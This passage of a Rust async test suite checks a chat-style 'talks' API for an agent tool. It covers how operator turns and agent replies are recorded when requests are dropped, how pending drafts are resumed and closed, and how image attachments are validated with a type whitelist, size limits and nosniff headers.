16042        let empty = talk_task_progress(&[]);
16043        assert_eq!(empty.state, "none");
16044        assert_eq!(empty.total, 0);
16045        assert_eq!(empty.done, 0);
16046        assert!(empty.unfinished_ids.is_empty());
16047        assert!(empty.counts.values().all(|count| *count == 0));
16048    }
16049
16050    #[tokio::test]
16051    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
16052        let (_tmp, _repo, f) = talk_fixture().await;
16053        let id = f.post("/api/talks", None).await.json()["id"]
16054            .as_str()
16055            .expect("id")
16056            .to_owned();
16057
16058        let res = f
16059            .post(
16060                &format!("/api/talks/{id}/say"),
16061                Some(r#"{"text":"what does the queue module do?"}"#),
16062            )
16063            .await;
16064        assert_eq!(res.status, 202, "{}", res.body);
16065        let queued = res.json();
16066        let turns = queued["turns"].as_array().expect("turns array");
16067        assert_eq!(
16068            turns.len(),
16069            1,
16070            "the answer reflects only what is on disk the instant it is sent, \
16071             before the agent's turn - which can run for the whole of \
16072             `[graph] timeout_talk` - has a chance to land: {queued}"
16073        );
16074        assert_eq!(turns[0]["who"], "operator");
16075        assert_eq!(turns[0]["body"], "what does the queue module do?");
16076        assert_eq!(
16077            queued["thinking"], true,
16078            "the accepted response exposes the background turn claim: {queued}"
16079        );
16080
16081        let mut turns_after = 1;
16082        for _ in 0..SETTLE_STEPS {
16083            let detail = f.get(&format!("/api/talks/{id}")).await.json();
16084            turns_after = detail["turns"].as_array().expect("turns array").len();
16085            if turns_after == 2 {
16086                break;
16087            }
16088            tokio::time::sleep(Duration::from_millis(10)).await;
16089        }
16090        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
16091    }
16092
16093    /// A phone that reloads mid-request drops `talk_say`'s whole handler
16094    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
16095    /// guards against: `talk::record` used to return, and only *then* did the
16096    /// handler make a second, separate disk round trip before spawning the
16097    /// agent's reply task. A future dropped in that gap left a message
16098    /// recorded on disk with no reply task ever started and no way back short
16099    /// of a fresh message - and the gap was not even the whole story: *any*
16100    /// `.await` in this handler, including the very first one, is a point
16101    /// where a drop can land after the awaited work already finished but
16102    /// before this handler's own code resumes to act on it. `record` now
16103    /// runs inside the task `tokio::spawn` hands to the runtime before this
16104    /// handler ever awaits anything of its own again, so there is nothing
16105    /// left in *this* handler's future for a disconnect to interrupt between
16106    /// the message landing on disk and the reply task starting.
16107    ///
16108    /// A real socket disconnect cannot be relied on to land in the old gap
16109    /// from a test - over loopback, `talk_say` typically finishes before the
16110    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
16111    /// same failure mode directly: it drops the task's future at whatever
16112    /// point it has reached, exactly what axum does to the handler future,
16113    /// without needing to win a real network race. Sweeping the delay before
16114    /// aborting samples a range of points the task's execution can be at,
16115    /// including where the old code sat waiting on its second disk round
16116    /// trip - confirmed by reverting this fix locally and watching this same
16117    /// sweep catch a talk stuck with the operator's turn recorded and no
16118    /// reply ever following.
16119    #[tokio::test]
16120    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
16121        let tmp = TempDir::new().expect("tempdir");
16122        let repo = tmp.path().join("repo");
16123        std::fs::create_dir_all(&repo).expect("repo dir");
16124        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16125        let home = TempDir::new().expect("temp home");
16126        let talks = Talks::at(home.path().join("talks"));
16127        let ui = Arc::new(
16128            Ui::new(
16129                Queue::at(home.path().join("queue")),
16130                Questions::at(home.path().join("questions")),
16131                talks.clone(),
16132                home.path().join("runs"),
16133                home.path().to_path_buf(),
16134                repo.clone(),
16135            )
16136            .with_worktrees_root(home.path().join("wt")),
16137        );
16138        let cfg = config_for(&repo).await.expect("discover config");
16139
16140        for delay in 0..40u32 {
16141            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16142            let id = talk.id.clone();
16143
16144            let handler = tokio::spawn(talk_say(
16145                State(Arc::clone(&ui)),
16146                Path(id.clone()),
16147                Ok(Json(NewTalkTurn {
16148                    reply_to: None,
16149                    text: "what does the queue module do?".to_owned(),
16150                    attachments: Vec::new(),
16151                })),
16152            ));
16153            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
16154            handler.abort();
16155            // Wait out the abort so the next iteration's talk does not race
16156            // this one's still-unwinding turn guard.
16157            let _ = handler.await;
16158
16159            let mut turns = 0;
16160            for _ in 0..SETTLE_STEPS {
16161                if let Ok(fresh) = talks.get(&id) {
16162                    turns = fresh.turns.len();
16163                    if turns != 1 {
16164                        break;
16165                    }
16166                }
16167                tokio::time::sleep(Duration::from_millis(10)).await;
16168            }
16169            assert_ne!(
16170                turns, 1,
16171                "delay {delay}: talk {id} recorded the operator's turn but \
16172                 the agent never answered - the reply task was never \
16173                 started after the handler future was dropped"
16174            );
16175        }
16176    }
16177
16178    /// The same drop, landing on `talk_say`'s other durable write.
16179    ///
16180    /// When a turn is already running, the busy branch persists the
16181    /// operator's text as a queued draft and then reclaims the turn slot if
16182    /// the holder gave it up in the meantime - and whoever reclaims owes that
16183    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
16184    /// which finishes whether or not the future awaiting it is still there,
16185    /// so a handler dropped at that `.await` used to leave the draft written
16186    /// to disk with the reclaimed guard dropped unread and no drainer ever
16187    /// started: the message sat queued until some unrelated later `say`
16188    /// happened to pick it up.
16189    ///
16190    /// This used to drive the handler future by hand, polling it a fixed
16191    /// number of times to park it at the `.await` where it asks for the turn
16192    /// and finds it busy, before the reclaim's slot-free case could be set up
16193    /// underneath it. That assumed a fixed number of polls lands at a fixed
16194    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
16195    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
16196    /// poll, so any number of this handler's several `blocking` awaits can
16197    /// collapse into one poll under load, landing the drive somewhere other
16198    /// than intended - including, occasionally, straight past the handler's
16199    /// own completion, which made polling it again panic with "async fn
16200    /// resumed after completion". No poll count fixes that; the handler's
16201    /// progress simply is not something a caller outside it can observe by
16202    /// counting.
16203    ///
16204    /// [`BusyQueueGate`] replaces the poll count with a real stop point
16205    /// inside the write itself, so the interleaving under test is pinned by
16206    /// an event instead of a guess: the gate fires only once the handler has
16207    /// actually decided `Busy` and is about to persist the draft, and it
16208    /// blocks that write until the test lets it through. Between those two
16209    /// moments the test drains the turn the handler found busy - through
16210    /// `drain_loop`, the protocol's other half - and then aborts the handler
16211    /// task outright, the same way axum drops a disconnected request's
16212    /// future. The write, and the reclaim it may do, run to completion
16213    /// regardless: they live in the `tokio::spawn` task the busy branch hands
16214    /// to the runtime before ever touching the gate, wholly independent of
16215    /// whether the handler that started it is still around - which is what
16216    /// this test is actually checking. A drainer other than that reclaim
16217    /// cannot exist here: the test's own `drain_loop` call happens before the
16218    /// gate opens, so it runs while the queue is still empty and hands the
16219    /// turn straight back rather than draining anything, closing off the
16220    /// possibility of the final assertion passing without the reclaim ever
16221    /// having done its job.
16222    #[tokio::test]
16223    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
16224        let tmp = TempDir::new().expect("tempdir");
16225        let repo = tmp.path().join("repo");
16226        std::fs::create_dir_all(&repo).expect("repo dir");
16227        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16228        let home = TempDir::new().expect("temp home");
16229        let talks = Talks::at(home.path().join("talks"));
16230        let ui = Arc::new(
16231            Ui::new(
16232                Queue::at(home.path().join("queue")),
16233                Questions::at(home.path().join("questions")),
16234                talks.clone(),
16235                home.path().join("runs"),
16236                home.path().to_path_buf(),
16237                repo.clone(),
16238            )
16239            .with_worktrees_root(home.path().join("wt")),
16240        );
16241        let cfg = config_for(&repo).await.expect("discover config");
16242        // Both waits guard against hangs, not slow filesystem or Git work on
16243        // a loaded test host. The gates and lock polls assert the ordering.
16244        let hang_guard = Duration::from_secs(30);
16245
16246        for attempt in 0..3u32 {
16247            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16248            let id = talk.id.clone();
16249            // A turn is already running, which is what sends `talk_say` down
16250            // the busy branch.
16251            let turn_guard = ui
16252                .begin_talk_turn(&id)
16253                .expect("claim the turn")
16254                .expect("a fresh talk owes nobody a turn");
16255
16256            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16257            let (release_tx, release_rx) = std::sync::mpsc::channel();
16258            ui.set_busy_queue_gate(BusyQueueGate {
16259                reached: reached_tx,
16260                release: release_rx,
16261            });
16262
16263            let handler = tokio::spawn(talk_say(
16264                State(Arc::clone(&ui)),
16265                Path(id.clone()),
16266                Ok(Json(NewTalkTurn {
16267                    reply_to: None,
16268                    text: "what does the queue module do?".to_owned(),
16269                    attachments: Vec::new(),
16270                })),
16271            ));
16272
16273            // Wait for the busy branch to actually reach the gate, rather
16274            // than for any fixed number of polls of anything - a bounded
16275            // wait rather than a bare `.await` so a regression that never
16276            // reaches the gate fails the test instead of hanging it.
16277            tokio::time::timeout(hang_guard, reached_rx)
16278                .await
16279                .unwrap_or_else(|_| {
16280                    panic!(
16281                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16282                    )
16283                })
16284                .expect("the busy branch dropped the gate without using it");
16285            assert!(
16286                crate::chat_worker::try_publication_guard(&talks, &id)
16287                    .expect("publication fence")
16288                    .is_none(),
16289                "a queued worker cannot promote text before its successor reservation is published"
16290            );
16291
16292            // A listener replacement queues its writer behind this accepted
16293            // mutation. Even disconnecting the HTTP caller must not release
16294            // admission before the write-to-worker handoff has completed.
16295            let closing = Arc::clone(&ui.admissions).write_owned();
16296            tokio::pin!(closing);
16297            std::future::poll_fn(|cx| {
16298                assert!(closing.as_mut().poll(cx).is_pending());
16299                std::task::Poll::Ready(())
16300            })
16301            .await;
16302            assert!(
16303                ui.begin_admission().is_err(),
16304                "replacement blocks later admissions"
16305            );
16306
16307            // The turn that was running now finishes and gives the slot up
16308            // the way a real one does - through `drain_loop`, which finds
16309            // nothing queued yet (the write is still held at the gate) and
16310            // releases. The handler, parked inside `spawn_blocking` on the
16311            // other side of the gate, still believes the talk is busy -
16312            // exactly the interleaving the reclaim exists for.
16313            let running = talks.get(&id).expect("reload talk");
16314            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16315
16316            // Drop the handler future now, the way a reloading phone drops
16317            // it: suspended waiting on the busy branch's answer, having
16318            // itself made no more progress since it handed the write off.
16319            handler.abort();
16320            let _ = handler.await;
16321            std::future::poll_fn(|cx| {
16322                assert!(
16323                    closing.as_mut().poll(cx).is_pending(),
16324                    "HTTP cancellation must not abandon a publishing transaction"
16325                );
16326                std::task::Poll::Ready(())
16327            })
16328            .await;
16329            assert!(
16330                crate::chat_worker::try_publication_guard(&talks, &id)
16331                    .expect("publication fence after disconnect")
16332                    .is_none()
16333            );
16334
16335            // Only now let the gated write proceed. It persists the draft
16336            // and reclaims the now-free slot from inside the task the busy
16337            // branch already spawned - unaffected by the handler's abort
16338            // above, since that task was independent of the handler's own
16339            // future from the moment it was spawned.
16340            release_tx.send(()).expect("busy queue write still gated");
16341            drop(
16342                tokio::time::timeout(hang_guard, closing)
16343                    .await
16344                    .unwrap_or_else(|_| {
16345                        panic!("attempt {attempt}: talk {id} did not release admission after the queue gate opened")
16346                    }),
16347            );
16348            assert!(
16349                crate::chat_worker::try_publication_guard(&talks, &id)
16350                    .expect("publication fence after acknowledgement")
16351                    .is_some(),
16352                "the publication fence is not retained by the long response"
16353            );
16354
16355            // A settled talk: the draft drained into an operator turn and
16356            // answered.
16357            let mut fresh = talks.get(&id).expect("reload talk");
16358            for _ in 0..SETTLE_STEPS {
16359                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16360                    break;
16361                }
16362                tokio::time::sleep(Duration::from_millis(10)).await;
16363                fresh = talks.get(&id).expect("reload talk");
16364            }
16365            assert!(
16366                fresh.pending.is_empty() && fresh.turns.len() == 2,
16367                "attempt {attempt}: talk {id} left the operator's text queued \
16368                 with no drainer - the reclaimed turn was dropped along with \
16369                 the handler future (pending {:?}, {} turns)",
16370                fresh.pending,
16371                fresh.turns.len()
16372            );
16373        }
16374    }
16375
16376    #[tokio::test]
16377    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16378        let (_tmp, _repo, f) = talk_fixture().await;
16379        let id = f.post("/api/talks", None).await.json()["id"]
16380            .as_str()
16381            .expect("id")
16382            .to_owned();
16383        let store = f.talks();
16384        let mut recovered = store.get(&id).expect("opened talk");
16385        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16386            .expect("persist pending draft without a live turn");
16387
16388        let edited = f
16389            .post(
16390                &format!("/api/talks/{id}/pending/edit"),
16391                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16392            )
16393            .await;
16394        assert_eq!(edited.status, 200, "{}", edited.body);
16395        assert!(edited.json()["thinking"].as_bool().unwrap());
16396
16397        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16398        for _ in 0..SETTLE_STEPS {
16399            if detail["turns"].as_array().expect("turns").len() == 2 {
16400                break;
16401            }
16402            tokio::time::sleep(Duration::from_millis(10)).await;
16403            detail = f.get(&format!("/api/talks/{id}")).await.json();
16404        }
16405        let turns = detail["turns"].as_array().expect("turns");
16406        assert_eq!(
16407            turns.len(),
16408            2,
16409            "the recovered draft must run once: {detail}"
16410        );
16411        assert_eq!(turns[0]["body"], "corrected");
16412        assert_eq!(detail["pending"], "");
16413    }
16414
16415    #[tokio::test]
16416    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16417        let tmp = TempDir::new().expect("tempdir");
16418        let repo = tmp.path().join("repo");
16419        std::fs::create_dir_all(&repo).expect("repo dir");
16420        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16421        let f = Fixture::with_repo(repo).await;
16422        let id = f.post("/api/talks", None).await.json()["id"]
16423            .as_str()
16424            .expect("id")
16425            .to_owned();
16426        let store = f.talks();
16427        let mut recovered = store.get(&id).expect("opened talk");
16428        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16429            .expect("persist pending draft without a live turn");
16430
16431        let refused = f
16432            .post(
16433                &format!("/api/talks/{id}/say"),
16434                Some(r#"{"text":"new message"}"#),
16435            )
16436            .await;
16437        assert_eq!(refused.status, 409, "{}", refused.body);
16438        assert!(refused.body.contains("resume"), "{}", refused.body);
16439        let saved = store.get(&id).expect("draft remains after refusal");
16440        assert!(saved.turns.is_empty());
16441        assert_eq!(saved.pending, "saved before restart");
16442
16443        let say_path = format!("/api/talks/{id}/say");
16444        let (first, second) = tokio::join!(
16445            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16446            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16447        );
16448        assert_eq!(first.status, 409, "{}", first.body);
16449        assert_eq!(second.status, 409, "{}", second.body);
16450        let saved = store
16451            .get(&id)
16452            .expect("draft remains after concurrent refusals");
16453        assert!(saved.turns.is_empty());
16454        assert_eq!(saved.pending, "saved before restart");
16455
16456        let resumed = f
16457            .post(&format!("/api/talks/{id}/pending/resume"), None)
16458            .await;
16459        assert_eq!(resumed.status, 202, "{}", resumed.body);
16460        let duplicate = f
16461            .post(&format!("/api/talks/{id}/pending/resume"), None)
16462            .await;
16463        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16464
16465        for _ in 0..SETTLE_STEPS {
16466            if store.get(&id).expect("talk").turns.len() == 2 {
16467                break;
16468            }
16469            tokio::time::sleep(Duration::from_millis(10)).await;
16470        }
16471        let finished = store.get(&id).expect("finished talk");
16472        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16473        assert_eq!(finished.turns[0].body, "saved before restart");
16474        assert!(finished.pending.is_empty());
16475    }
16476
16477    #[tokio::test]
16478    async fn an_image_only_recovered_draft_resumes_without_text() {
16479        let (_tmp, _repo, f) = talk_fixture().await;
16480        let id = f.post("/api/talks", None).await.json()["id"]
16481            .as_str()
16482            .expect("id")
16483            .to_owned();
16484        let uploaded = f
16485            .post_bytes(
16486                &format!("/api/talks/{id}/attachments"),
16487                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16488                PNG_BYTES,
16489            )
16490            .await;
16491        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16492        let attachment = f
16493            .talks()
16494            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16495            .expect("attachment metadata")
16496            .expect("stored attachment");
16497        let store = f.talks();
16498        let mut recovered = store.get(&id).expect("opened talk");
16499        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16500
16501        let resumed = f
16502            .post(&format!("/api/talks/{id}/pending/resume"), None)
16503            .await;
16504        assert_eq!(resumed.status, 202, "{}", resumed.body);
16505        for _ in 0..SETTLE_STEPS {
16506            if store.get(&id).expect("talk").turns.len() == 2 {
16507                break;
16508            }
16509            tokio::time::sleep(Duration::from_millis(10)).await;
16510        }
16511        let finished = store.get(&id).expect("finished talk");
16512        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16513        assert!(finished.turns[0].body.is_empty());
16514        assert_eq!(finished.turns[0].attachments.len(), 1);
16515        assert!(finished.pending_attachments.is_empty());
16516    }
16517
16518    #[tokio::test]
16519    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
16520        let (_tmp, _repo, f) = talk_fixture().await;
16521        let id = f.post("/api/talks", None).await.json()["id"]
16522            .as_str()
16523            .expect("id")
16524            .to_owned();
16525        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16526        assert_eq!(closed.status, 200, "{}", closed.body);
16527        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16528            .expect("serialize closed talk");
16529        for (path, body) in [
16530            (format!("/api/talks/{id}/pending/resume"), None),
16531            (
16532                format!("/api/talks/{id}/pending/clear"),
16533                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
16534            ),
16535            (
16536                format!("/api/talks/{id}/pending/edit"),
16537                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
16538            ),
16539            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
16540        ] {
16541            let response = f.post(&path, body).await;
16542            assert_eq!(response.status, 409, "{}", response.body);
16543        }
16544        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16545            .expect("serialize closed talk");
16546        assert_eq!(
16547            after_clear, before_clear,
16548            "clear must not rewrite a closed talk"
16549        );
16550    }
16551
16552    /// Keeps both claims observable long enough to exercise the distinction
16553    /// between one busy talk and a globally locked Chat surface.
16554    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
16555
16556    #[tokio::test]
16557    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
16558        let tmp = TempDir::new().expect("tempdir");
16559        let repo = tmp.path().join("repo");
16560        std::fs::create_dir_all(&repo).expect("repo dir");
16561        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16562        let f = Fixture::with_repo(repo).await;
16563        let id_a = f.post("/api/talks", None).await.json()["id"]
16564            .as_str()
16565            .unwrap()
16566            .to_owned();
16567        let id_b = f.post("/api/talks", None).await.json()["id"]
16568            .as_str()
16569            .unwrap()
16570            .to_owned();
16571
16572        let a = f
16573            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
16574            .await;
16575        assert_eq!(a.status, 202, "{}", a.body);
16576        assert_eq!(a.json()["thinking"], true);
16577        let b = f
16578            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
16579            .await;
16580        assert_eq!(b.status, 202, "{}", b.body);
16581        assert_eq!(b.json()["thinking"], true);
16582
16583        let listed = f.get("/api/talks").await.json();
16584        for id in [&id_a, &id_b] {
16585            let view = listed
16586                .as_array()
16587                .unwrap()
16588                .iter()
16589                .find(|talk| talk["id"] == *id)
16590                .unwrap();
16591            assert_eq!(view["thinking"], true, "{listed}");
16592        }
16593        let repeated = f
16594            .post(
16595                &format!("/api/talks/{id_a}/say"),
16596                Some(r#"{"text":"again"}"#),
16597            )
16598            .await;
16599        assert_eq!(repeated.status, 202, "{}", repeated.body);
16600        assert_eq!(repeated.json()["pending"], "again");
16601    }
16602
16603    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
16604    /// few more, since real uploads are never exactly eight bytes.
16605    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
16606
16607    #[tokio::test]
16608    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
16609        let f = Fixture::start().await;
16610        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
16611
16612        let res = f
16613            .post_bytes(
16614                &format!("/api/talks/{id}/attachments"),
16615                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16616                PNG_BYTES,
16617            )
16618            .await;
16619        assert_eq!(res.status, 201, "{}", res.body);
16620        let body = res.json();
16621        assert_eq!(body["name"], "shot.png");
16622        assert_eq!(body["mime"], "image/png");
16623        assert_eq!(body["bytes"], PNG_BYTES.len());
16624        let att_id = body["id"].as_str().expect("id").to_owned();
16625        assert_eq!(
16626            att_id.len(),
16627            32,
16628            "the id must never be a client-suppliable path: {att_id}"
16629        );
16630
16631        let got = f
16632            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
16633            .await;
16634        assert_eq!(got.status, 200, "{}", got.body);
16635        assert_eq!(got.header("content-type"), Some("image/png"));
16636        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
16637        assert_eq!(got.bytes, PNG_BYTES);
16638    }
16639
16640    #[tokio::test]
16641    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
16642        let f = Fixture::start().await;
16643        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
16644
16645        // SVG can carry a `<script>`, so it is never on the whitelist even
16646        // though it is a real IANA image type.
16647        let svg = f
16648            .post_bytes(
16649                &format!("/api/talks/{id}/attachments"),
16650                &[("Content-Type", "image/svg+xml")],
16651                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
16652            )
16653            .await;
16654        assert!(
16655            (400..500).contains(&svg.status),
16656            "svg must be refused: {} {}",
16657            svg.status,
16658            svg.body
16659        );
16660        assert!(svg.body.contains("SVG"), "{}", svg.body);
16661
16662        let text = f
16663            .post_bytes(
16664                &format!("/api/talks/{id}/attachments"),
16665                &[("Content-Type", "text/plain")],
16666                b"just some text",
16667            )
16668            .await;
16669        assert!(
16670            (400..500).contains(&text.status),
16671            "an unlisted type must be refused: {} {}",
16672            text.status,
16673            text.body
16674        );
16675
16676        // The declared type is a real png, but the size check runs before
16677        // the bytes are even looked at.
16678        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
16679        let big = f
16680            .post_bytes(
16681                &format!("/api/talks/{id}/attachments"),
16682                &[("Content-Type", "image/png")],
16683                &oversized,
16684            )
16685            .await;
16686        assert_eq!(
16687            big.status,
16688            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
16689            "{}",
16690            big.body
16691        );
16692    }
16693
16694    #[tokio::test]
16695    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
16696        let f = Fixture::start().await;
16697        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
16698
16699        // A whitelisted `Content-Type`, but bytes that are not actually a
16700        // png - the declared header alone is never trusted.
16701        let res = f
16702            .post_bytes(
16703                &format!("/api/talks/{id}/attachments"),
16704                &[("Content-Type", "image/png")],
16705                b"<html>not a picture</html>",
16706            )
16707            .await;
16708        assert!((400..500).contains(&res.status), "{}", res.body);
16709    }
16710
16711    #[tokio::test]
16712    async fn an_unknown_attachment_id_is_a_404() {
16713        let f = Fixture::start().await;
16714        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
16715
16716        let res = f
16717            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
16718            .await;
16719        assert_eq!(res.status, 404, "{}", res.body);
16720    }
16721
16722    #[tokio::test]
16723    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
16724        let f = Fixture::start().await;
16725        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
16726
16727        let uploaded = f
16728            .post_bytes(
16729                &format!("/api/talks/{id}/attachments"),
16730                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16731                PNG_BYTES,
16732            )
16733            .await;
16734        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16735        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16736
16737        let res = f
16738            .post(
16739                &format!("/api/talks/{id}/say"),
16740                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16741            )
16742            .await;
16743        assert_eq!(res.status, 202, "{}", res.body);
16744        let queued = res.json();
16745        let turns = queued["turns"].as_array().expect("turns array");
16746        assert_eq!(
16747            turns.len(),
16748            1,
16749            "an empty body with an attachment is still a turn: {queued}"
16750        );
16751        assert_eq!(turns[0]["who"], "operator");
16752        assert_eq!(turns[0]["body"], "");
16753        let atts = turns[0]["attachments"]
16754            .as_array()
16755            .expect("attachments array");
16756        assert_eq!(atts.len(), 1);
16757        assert_eq!(atts[0]["id"], att_id);
16758        assert_eq!(atts[0]["mime"], "image/png");
16759
16760        // Not only in the response: `record` flushes to disk before the
16761        // agent's own turn is even spawned.
16762        let on_disk = f.talks().get(&id).expect("get");
16763        assert_eq!(on_disk.turns[0].attachments.len(), 1);
16764        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16765    }
16766
16767    #[tokio::test]
16768    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16769        let f = Fixture::start().await;
16770        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16771
16772        let res = f
16773            .post(
16774                &format!("/api/talks/{id}/say"),
16775                Some(&format!(
16776                    r#"{{"text":"hi","attachments":["{}"]}}"#,
16777                    "a".repeat(32)
16778                )),
16779            )
16780            .await;
16781        assert!((400..500).contains(&res.status), "{}", res.body);
16782        assert!(res.body.contains("unknown attachment"), "{}", res.body);
16783
16784        let on_disk = f.talks().get(&id).expect("get");
16785        assert!(
16786            on_disk.turns.is_empty(),
16787            "a rejected attachment id must not partially record the turn: {:?}",
16788            on_disk.turns
16789        );
16790    }
16791
16792    #[tokio::test]
16793    async fn talk_close_makes_the_talk_refuse_further_turns() {
16794        let f = Fixture::start().await;
16795        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16796
16797        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16798        assert_eq!(closed.status, 200, "{}", closed.body);
16799        assert_eq!(closed.json()["status"], "closed");
16800
16801        // Idempotent: closing an already-closed talk is not an error.
16802        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16803        assert_eq!(closed_again.status, 200);
16804        assert_eq!(closed_again.json()["status"], "closed");
16805
16806        let said = f
16807            .post(
16808                &format!("/api/talks/{id}/say"),
16809                Some(r#"{"text":"too late"}"#),
16810            )
16811            .await;
16812        assert_eq!(said.status, 409, "{}", said.body);
16813    }
16814
16815    #[tokio::test]
16816    async fn talk_close_refuses_pending_input_with_conflict_and_preserves_it() {
16817        let f = Fixture::start().await;
16818        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16819        let store = f.talks();
16820        let mut queued = store.get(&id).expect("talk");
16821        for automatic in [false, true] {
16822            if automatic {
16823                talk::queue_once(&mut queued, &store, "automatic notice", "notice-key")
16824                    .expect("queue automatic input");
16825            } else {
16826                talk::queue(&mut queued, &store, "queued send", Vec::new())
16827                    .expect("queue operator input");
16828            }
16829            let before = serde_json::to_value(store.get(&id).expect("queued talk")).unwrap();
16830            let refused = f.post(&format!("/api/talks/{id}/close"), None).await;
16831            assert_eq!(refused.status, 409, "{}", refused.body);
16832            assert!(refused.body.contains("pending input"), "{}", refused.body);
16833            assert_eq!(
16834                serde_json::to_value(store.get(&id).expect("preserved talk")).unwrap(),
16835                before,
16836                "a close refusal must preserve the entire record"
16837            );
16838            talk::clear_pending(&mut queued, &store).expect("clear saved input");
16839        }
16840        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16841        assert_eq!(closed.status, 200, "{}", closed.body);
16842        assert_eq!(closed.json()["status"], "closed");
16843    }
16844
16845    #[tokio::test]
16846    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16847        let (_tmp, _repo, f) = talk_fixture().await;
16848        let id = f.post("/api/talks", None).await.json()["id"]
16849            .as_str()
16850            .expect("id")
16851            .to_owned();
16852        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16853        assert_eq!(closed.status, 200, "{}", closed.body);
16854
16855        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16856        assert_eq!(reopened.status, 200, "{}", reopened.body);
16857        assert_eq!(reopened.json()["status"], "open");
16858
16859        // Idempotent: reopening an already-open talk is not an error.
16860        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16861        assert_eq!(reopened_again.status, 200);
16862        assert_eq!(reopened_again.json()["status"], "open");
16863
16864        let said = f
16865            .post(
16866                &format!("/api/talks/{id}/say"),
16867                Some(r#"{"text":"still there?"}"#),
16868            )
16869            .await;
16870        assert_eq!(
16871            said.status, 202,
16872            "a reopened talk accepts turns again: {}",
16873            said.body
16874        );
16875    }
16876
16877    #[tokio::test]
16878    async fn talk_reopen_on_an_unknown_id_is_404() {
16879        let f = Fixture::start().await;
16880        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16881        assert_eq!(res.status, 404, "{}", res.body);
16882    }
16883
16884    #[tokio::test]
